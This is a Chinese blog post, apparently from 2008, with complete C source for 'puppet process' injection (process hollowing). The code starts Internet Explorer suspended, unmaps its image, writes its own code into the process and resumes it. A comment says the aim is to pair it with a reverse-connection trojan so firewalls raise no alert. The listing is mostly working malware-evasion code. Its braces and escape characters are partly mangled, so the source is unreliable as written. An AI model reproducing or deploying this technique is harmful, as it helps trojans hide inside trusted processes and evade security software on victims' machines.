EXE注入-傀儡进程
2008-08-16 16:38

直接将自身代码注入傀儡进程,不需要DLL。首先用CreateProcess来创建一个挂起的IE进程,创建时候就把它挂起。然后得到它的装载基址,使用函数ZwUnmapViewOfSection来卸载这个这个基址内存空间的数据,。再用VirtualAllocEx来个ie进程重新分配内存空间,大小为要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址,就是刚才分配的内存空间的地址。再用WriteProcessMemory把自己的代码写入IE的内存空间。用SetThreadContext设置下进程状态,最后使用ResumeThread继续运行IE进程。

/********************************************************************* 
   Author: Polymorphours 
   Date: 2005/1/10

另一种将自己代码注入傀儡进程的方法,配合反弹木马,可绕过防火墙的 
   反向连接报警。 
**********************************************************************/

#include <stdio.h> 
#include <windows.h>

BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr);

typedef struct _ChildProcessInfo {

DWORD dwBaseAddress; 
DWORD dwReserve; 
} CHILDPROCESS, *PCHILDPROCESS;

BOOL 
FindIePath( 
char *IePath, 
int *dwBuffSize 
);

BOOL InjectProcess(void);

DWORD 
GetSelfImageSize( 
HMODULE hModule 
);

BOOL 
CreateInjectProcess( 
PPROCESS_INFORMATION pi, 
PCONTEXT pThreadCxt, 
CHILDPROCESS *pChildProcess 
);

char szIePath[MAX_PATH];

int main(void) 

if (InjectProcess() ) 

   printf("This is my a test code,made by (Polymorphours)shadow3./r/n"); 

else 

   MessageBox(NULL,"进程插入完成","Text",MB_OK); 

return 0; 
}

BOOL FindIePath(OUT char *IePath, OUT int *dwBuffSize) 

char szSystemDir[MAX_PATH]; 
GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '/0'; 
lstrcat(szSystemDir,"//Program Files//Internet Explorer//iexplore.exe"); 
lstrcpy(IePath, szSystemDir); 
return TRUE; 
}

BOOL InjectProcess(void) 

char szModulePath[MAX_PATH]; 
DWORD dwImageSize = 0;

STARTUPINFO si; 
PROCESS_INFORMATION pi; 
CONTEXT ThreadCxt; 
DWORD *PPEB; 
DWORD dwWrite = 0; 
CHILDPROCESS stChildProcess; 
LPVOID lpVirtual = NULL; 
PIMAGE_DOS_HEADER pDosheader = NULL; 
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory( szModulePath, MAX_PATH ); 
ZeroMemory( szIePath, MAX_PATH );

GetModuleFileName( NULL, szModulePath, MAX_PATH ); 
FindIePath( szIePath, NULL );

if ( lstrcmpiA( szIePath, szModulePath ) == 0 )
{ //当前运行在IE空间里
   return FALSE; 
}

hModule = GetModuleHandle( NULL ); 
if ( hModule == NULL ) 

   return FALSE; 
}

pDosheader = (PIMAGE_DOS_HEADER)hModule; 
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

// 以挂起模式启动一个傀儡进程,这里为了传透防火墙,使用IE进程 
if ( CreateInjectProcess(&pi, &ThreadCxt, &stChildProcess ))

   printf("CHILD PID: [%d]/r/n",pi.dwProcessId); 
   // 卸载需要注入进程中的代码 
   if( UnloadShell(pi.hProcess, stChildProcess.dwBaseAddress) )
   { 
    // 重新分配内存 
    lpVirtual = VirtualAllocEx( 
     pi.hProcess, 
     (LPVOID)hModule, 
     dwImageSize, 
     MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
   
    if( lpVirtual ) 
    { 
     printf("Unmapped and Allocated Mem Success./r/n"); 
    }
   } 
   else 
   { 
    printf("ZwUnmapViewOfSection() failed./r/n"); 
    return TRUE; 
   } 
  
   if(lpVirtual) 
   { 
    PPEB = (DWORD *)ThreadCxt.Ebx; 
    // 重写装载地址 
    WriteProcessMemory( 
     pi.hProcess, 
     &PPEB[2], 
     &lpVirtual, 
     sizeof(DWORD), 
     &dwWrite); 
   
    // 写入自己进程的代码到目标进程 
    if ( WriteProcessMemory( 
     pi.hProcess, 
     lpVirtual, 
     hModule, 
     dwImageSize, 
     &dwWrite) ) 
    { 
     printf("image inject into process success./r/n"); 
    
     ThreadCxt.ContextFlags = CONTEXT_FULL; 
     if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress ) 
     { 
      ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint; 
     } 
     else 
     { 
      ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint; 
     } 
#ifdef DEBUG 
     printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax); 
     printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx); 
     printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx); 
     printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx); 
     printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip); 
#endif 
     SetThreadContext(pi.hThread, &ThreadCxt); 
     ResumeThread(pi.hThread); 
    } 
    else 
    { 
     printf("WirteMemory Failed,code:%d/r/n",GetLastError()); 
     TerminateProcess(pi.hProcess, 0); 
    } 
   } 
   else 
   { 
    printf("VirtualMemory Failed,code:%d/r/n",GetLastError()); 
    TerminateProcess(pi.hProcess, 0); 
   } 

return TRUE; 
}

DWORD GetSelfImageSize(HMODULE hModule) 

DWORD dwImageSize; 
_asm 

   mov ecx,0x30 
   mov eax, fs:[ecx] 
   mov eax, [eax + 0x0c] 
   mov esi, [eax + 0x0c] 
   add esi,0x20 
   lodsd 
   mov dwImageSize,eax 

return dwImageSize; 
}

BOOL CreateInjectProcess( 
       PPROCESS_INFORMATION pi, 
       PCONTEXT pThreadCxt, 
       CHILDPROCESS *pChildProcess ) 

STARTUPINFO si;

DWORD *PPEB; 
DWORD read;

// 使用挂起模式启动ie 
if( CreateProcess( 
   NULL, 
   szIePath, 
   NULL, 
   NULL, 
   0, 
   CREATE_SUSPENDED, 
   NULL, 
   NULL, 
   &si, 
   pi )) 

   pThreadCxt->ContextFlags = CONTEXT_FULL; 
   GetThreadContext(pi->hThread, pThreadCxt); 
  
   PPEB = (DWORD *)pThreadCxt->Ebx; 
   // 得到ie的装载基地址 
   ReadProcessMemory( 
    pi->hProcess, 
    &PPEB[2], 
    (LPVOID)&(pChildProcess->dwBaseAddress), 
    sizeof(DWORD), 
    &read ); 
  
   return TRUE; 

return FALSE; 
}

BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr)   
{   
    typedef unsigned long (__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long);   
    pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;

BOOL res = FALSE;   
    HMODULE m = LoadLibrary("ntdll.dll");   
    if(m)
{   
        ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(m, "ZwUnmapViewOfSection");   
        if(ZwUnmapViewOfSection)   
            res = (ZwUnmapViewOfSection((unsigned long)ProcHnd, BaseAddr) == 0);   
        FreeLibrary(m);   
    }   
    return res; 
}

直接将自身代码注入傀儡进程相关推荐

  1. 【Android 逆向】Android 进程代码注入原理 ( 进程注入原理 | 远程调用流程 | 获取函数地址 | 设置 IP 寄存器 | mmap 申请内存 | 设置 SP 寄存器 )

    文章目录 一.进程注入原理 二.远程调用流程 ( 获取 so 动态库地址 | 获取函数地址 | 设置 IP 寄存器 | mmap 申请内存 | 设置 SP 寄存器 ) 一.进程注入原理 调试进程 At ...

  2. 将代码注入到进程的三种方式

    [源码下载] 介绍 在Code Project网站有许多关于password spy的文章,但是这些都是基于Windows Hooks的,还有没有其他方式能实现这种效果呢?是的,有,不过,先让我们简要 ...

  3. 用户领域 API 监控和代码注入检测

    原文地址:Userland API Monitoring and Code Injection Detection 原文作者:dtm 译文出自:掘金翻译计划 本文永久链接:github.com/xit ...

  4. 连傻瓜都能看懂的基于代码注入的线程守护技术

    连傻瓜都能看懂的基于代码注入的线程守护技术 2010年08月31日 连傻瓜都能看懂的基于代码注入的线程守护技术 Author: 叶紫孤(CPP肥兔) (感谢冷风大哥提供技术支持) E-mail: ye ...

  5. Win32环境下代码注入与API钩子的实现

    Win32环境下代码注入与API钩子的实现 本文详细的介绍了在Visual Studio(以下简称VS)下实现API钩子的编程方法,阅读本文需要基础:有操作系统的基本知识(进程管理,内存管理),会在V ...

  6. Linux 平台一种进程代码注入方法

    http://blog.csdn.net/occupy8/article/details/17056769 用于在目标程序的 main 函数执行前完成一些操作   特定情况下用来调试还是不错的. 源代 ...

  7. 【Android 逆向】Android 进程注入工具开发 ( 注入代码分析 | 调试进程 ATTACH 附着目标进程 | 读取目标函数寄存器值并存档 )

    文章目录 一.调试进程 ATTACH 附着目标进程 二.读取目标函数寄存器值并存档 1.主要操作流程 2.ptrace 函数 PTRACE_GETREGS 读取寄存器值 一.调试进程 ATTACH 附 ...

  8. 【Android 逆向】Android 进程代码注入原理 ( 注入本质 | 静态注入和动态注入 | 静态注入两种方式 | 修改动态库重打包 | 修改 /data/app/xx/libs 动态库 )

    文章目录 一.注入本质 二.静态注入和动态注入 三.静态注入两种方式 ( 修改动态库重打包 | 修改 /data/app/packageName/libs/ 下的动态库 ) 一.注入本质 进程注入本质 ...

  9. C/C++ 进程代码注入与提权/降权

    如果将shellcode注入到具有特定权限的进程中,我们就可以获得与该进程相同的权限,此方法可以用于提权与降权操作,注入有多种方式,最简单的是直接将metasploit生成的有效载荷直接注入到目标进程 ...

最新文章

  1. autoconfig.xml与antx.properties一级application.properties之间的关系
  2. Google Palette算法详解以及OC化
  3. 改变linux分区后grub修复,更改磁盘分区后修复GRUB启动
  4. 20180209-shutil模块
  5. 原型设计模式及深拷贝
  6. kingbase自带的驱动在哪_为什么别人家的广告语都能自带BUG?
  7. BFC(块级格式化上下文)【面试】
  8. 从Oracle向PPAS移行不成功时的处理
  9. win10 mysql zip 安装教程_windows10+mysql8.0.11zip安装教程详解
  10. 我精心梳了犀利的发型,胡子刮得一干二净,去字节跳动面试,结果被怼了!...
  11. cydia下载地址_Cydia下载完整安装包_cydia软件源官方下载-PChome下载中心
  12. IEEE1588精确网络时钟同步协议简介
  13. String类常用方法
  14. 【建议收藏】你还不知道平面设计有哪些风格?掌握这20种就够了
  15. xml文件中SQL语句的大于号、小于号、等于号的转义问题
  16. Zabbix使用指南
  17. 密码算法测试向量——目录
  18. Android实现隐藏手机底部虚拟按键
  19. 在教育孩子上少一点功利心,就会快乐?
  20. 图数据库入门教程-深入学习Gremlin(1):图基本概念与操作

热门文章

  1. 通过enum实现枚举类
  2. php文件上传指定路径,php上传文件到指定文件夹
  3. 卡写入保护开关原理_老电工带你解密:插卡取电开关
  4. Redis设计与实现笔记
  5. java reader类 实例_Java Reader ready()用法及代码示例
  6. _Linux 的文件系统及文件缓存知识点整理
  7. 洛谷P2426 删数
  8. leetcode-44. Wildcard Matching
  9. 【Linux】cp命令
  10. java并发编程学习5--forkJoin